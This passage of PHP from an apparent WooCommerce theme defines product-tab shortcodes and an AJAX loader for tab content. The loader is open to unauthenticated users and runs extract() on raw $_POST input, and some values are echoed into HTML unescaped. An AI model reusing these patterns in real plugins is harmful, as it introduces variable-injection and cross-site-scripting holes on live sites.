get_term_link((int)$parent_cat, 'product_cat'); if( is_wp_error($shop_more_link) ){ $shop_more_link = wc_get_page_permalink('shop'); } } else{ $current_cat = $product_cats; $shop_more_link = wc_get_page_permalink('shop'); } $is_general_tab = true; ?> <li class="tab-item general-tab current" data-product_cat="<?php echo $current_cat; ?>" data-link="<?php echo esc_url($shop_more_link) ?>"> <span><?php echo esc_html($general_tab_heading) ?></span> </li> <?php } $product_cats = array_map('trim', explode(',', $product_cats)); foreach( $product_cats as $k => $product_cat ): $term = get_term_by( 'term_id', $product_cat, 'product_cat'); if( !isset($term->name) ){ continue; } $current_tab = false; if( $current_cat == '' ){ $current_tab = true; $current_cat = $product_cat; $shop_more_link = get_term_link($term, 'product_cat'); } ?> <li class="tab-item <?php echo ($current_tab)?'current':''; ?>" data-product_cat="<?php echo esc_attr($product_cat) ?>" data-link="<?php echo esc_url(get_term_link($term, 'product_cat')) ?>"> <span><?php echo esc_html($term->name) ?></span> </li> <?php endforeach; ?> </ul> </div> </div> <div class="column-content"> <div class="column-products loading woocommerce columns-<?php echo esc_attr($columns) ?>"> <?php echo ts_get_product_content_in_category_tab($atts, $current_cat, $is_general_tab); ?> </div> <?php if( $show_shop_more_button ): ?> <div class="shop-more"> <a class="button shop-more-button" href="<?php echo esc_url($shop_more_link) ?>"><?php echo esc_html($shop_more_button_text) ?></a> </div> <?php endif; ?> </div> </div> <?php return ob_get_clean(); } } add_shortcode('ts_products_in_category_tabs', 'ts_products_in_category_tabs_shortcode'); add_action('wp_ajax_ts_get_product_content_in_category_tab', 'ts_get_product_content_in_category_tab'); add_action('wp_ajax_nopriv_ts_get_product_content_in_category_tab', 'ts_get_product_content_in_category_tab'); if( !function_exists('ts_get_product_content_in_category_tab') ){ function ts_get_product_content_in_category_tab( $atts = array(), $product_cat = '', $is_general_tab = false ){ if( wp_doing_ajax() ){ if( empty($_POST['atts']) ){ die('0'); } $atts = $_POST['atts']; $product_cat = isset($_POST['product_cat'])?$_POST['product_cat']:''; $is_general_tab = (isset($_POST['is_general_tab']) && $_POST['is_general_tab'])?true:false; } if( $is_general_tab ){ $atts['product_type'] = $atts['product_type_general_tab']; } ob_start(); extract($atts); $options = array( 'show_image' => $show_image ,'show_label' => $show_label ,'show_title' => $show_title ,'show_sku' => $show_sku ,'show_price' => $show_price ,'show_short_desc' => $show_short_desc ,'show_categories' => $show_categories ,'show_rating' => $show_rating ,'show_add_to_cart' => $show_add_to_cart ,'show_color_swatch' => $show_color_swatch ,'number_color_swatch' => $number_color_swatch ); ts_remove_product_hooks_shortcode( $options ); $args = array( 'post_type' => 'product' ,'post_status' => 'publish' ,'ignore_sticky_posts' => 1 ,'posts_per_page' => $per_page ,'orderby' => 'date' ,'order' => 'desc' ,'meta_query' => WC()->query->get_meta_query() ,'tax_query' => WC()->query->get_tax_query() ); ts_filter_product_by_product_type($args, $product_type); if( $product_cat ){ $args['tax_query'][] = array( 'taxonomy' => 'product_cat' ,'terms' => array_map('trim', explode(',', $product_cat)) ,'field' => 'term_id' ,'include_children' => $include_children ); } if( (int)$columns <= 0 ){ $columns = 3; } $old_woocommerce_loop_columns = wc_get_loop_prop('columns'); wc_set_loop_prop('columns', $columns); $products = new WP_Query( $args ); $count = 0; woocommerce_product_loop_start(); if( $products->have_posts() ){ if( isset($show_shop_more_button, $products->found_posts, $products->post_count) && $products->found_posts == $products->post_count ){ echo '<div class="hidden hide-shop-more"></div>'; } while( $products->have_posts() ){ $products->the_post(); if( $is_slider && $rows > 1 && $count % $rows == 0 ){ echo '<div class="product-group">'; } wc_get_template_part( 'content', 'product' ); if( $is_slider && $rows > 1 && ($count % $rows == $rows - 1 || $count == $products->post_count - 1) ){ echo '</div>'; } $count++; } } woocommerce_product_loop_end(); wp_reset_postdata(); /* restore hooks */ ts_restore_product_hooks_shortcode(); wc_set_loop_prop('columns', $old_woocommerce_loop_columns); if( wp_doing_ajax() ){ die(ob_get_clean()); } else{ return ob_get_clean(); } } } /* Product in category tabs */ if( !function_exists('ts_products_in_product_type_tabs_shortcode') ){ function ts_products_in_product_type_tabs_shortcode($atts, $content){ extract(shortcode_atts(array( 'title' => '' ,'tab_heading_style' => 'tab-heading-default' ,'tab_1' => 1 ,'tab_1_heading' => 'Featured' ,'tab_1_product_type' => 'featured' ,'tab_2' => 1 ,'tab_2_heading' => 'Best Selling' ,'tab_2_product_type' => 'best_selling' ,'tab_3' => 1 ,'tab_3_heading' => 'On Sale' ,'tab_3_product_type' => 'sale' ,'tab_4' => 1 ,'tab_4_heading' => 'Top Rated' ,'tab_4_product_type' => 'top_rated' ,'tab_5' => 1 ,'tab_5_heading' => 'Recent' ,'tab_5_product_type' => 'recent' ,'color' => '#27af7d' ,'active_tab' => 1 ,'columns' => 4 ,'per_page' => 6 ,'item_layout' => 'grid' ,'product_cats' => '' ,'include_children' => 1 ,'text_align' => '' ,'image_border' => 0 ,'item_background' => '' ,'show_image' => 1 ,'show_title' => 1 ,'show_sku' => 0 ,'show_price' => 1 ,'show_short_desc' => 0 ,'show_rating' => 1 ,'show_label' => 1 ,'show_categories' => 0 ,'show_add_to_cart' => 1 ,'show_color_swatch' => 0 ,'number_color_swatch' => 3 ,'is_slider' => 1 ,'rows' => 1 ,'show_nav' => 1 ,'nav_position' => 'nav-middle' ,'prev_nav_text' => 'Previous post' ,'next_nav_text' => 'Next post' ,'auto_play' => 1 ,'margin' => 30 ), $atts)); if ( !class_exists('WooCommerce') ){ return; } if( !$tab_1 && !$tab_2 && !$tab_3 && !$tab_4 && !$tab_5 ){ return; } $tabs = array(); for( $i = 1; $i <= 5; $i++ ){ if( ${'tab_' . $i} ){ $tabs[] = array( 'heading' => ${'tab_' . $i . '_heading'} ,'product_type' => ${'tab_' . $i . '_product_type'} ); } } if( $active_tab > count($tabs) ){ $active_tab = 1; } if( !$product_cats ){ $show_list_categories = 0; } $product_type = $tabs[$active_tab-1]['product_type']; if( $nav_position != 'nav-top' ){ $prev_nav_text = ''; $next_nav_text = ''; } $atts = compact('columns', 'rows', 'per_page', 'product_cats', 'include_children', 'product_type' ,'show_image', 'show_title', 'show_sku', 'show_price', 'show_short_desc', 'show_rating', 'show_label' ,'show_categories', 'show_add_to_cart', 'show_color_swatch', 'number_color_swatch', 'is_slider', 'show_nav', 'prev_nav_text', 'next_nav_text', 'auto_play', 'margin'); $classes = array(); $classes[] = 'ts-product-in-product-type-tab-wrapper ts-shortcode ts-product'; $classes[] = $tab_heading_style; $classes[] = $text_align; $classes[] = 'item-'.$item_layout; $classes[] = $item_background; if( $image_border ){ $classes[] = 'image-border'; } if( $show_color_swatch ){ $classes[] = 'show-color-swatch'; } if( $is_slider ){ $classes[] = 'ts-slider'; $classes[] = 'rows-'.$rows; if( $show_nav ){ $classes[] = 'show-nav'; if( $nav_position == 'nav-middle' ){ $classes[] = 'middle-thumbnail'; } $classes[] = $nav_position; } } $classes = array_filter($classes); $rand_id = 'ts-product-in-product-type-tab-'.mt_rand(0, 1000); ob_start(); ?> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>" id="<?php echo esc_attr($rand_id) ?>" data-atts="<?php echo htmlentities(json_encode($atts)); ?>"> <div class="column-tabs"> <?php if( strlen($title) > 0 ): ?> <header class="heading-tab"> <h2 class="heading-title"> <?php echo esc_html($title); ?> </h2> </header> <?php endif; ?> <ul class="tabs"> <?php foreach( $tabs as $i => $tab ): ?> <li class="tab-item <?php echo ($active_tab == $i + 1)?'active current':''; ?>" data-product_type="<?php echo esc_attr($tab['product_type']) ?>"><?php echo esc_html($tab['heading']) ?></li> <?php endforeach; ?> </ul> </div> <div class="column-content"> <div class="column-products loading woocommerce columns-<?php echo esc_attr($columns) ?> <?php echo $product_type; ?>"> <?php echo ts_get_product_content_in_category_tab($atts, $product_cats); ?> </div> </div> </div> <?php return ob_get_clean(); } } add_shortcode('ts_products_in_product_type_tabs', 'ts_products_in_product_type_tabs_shortcode'); ?>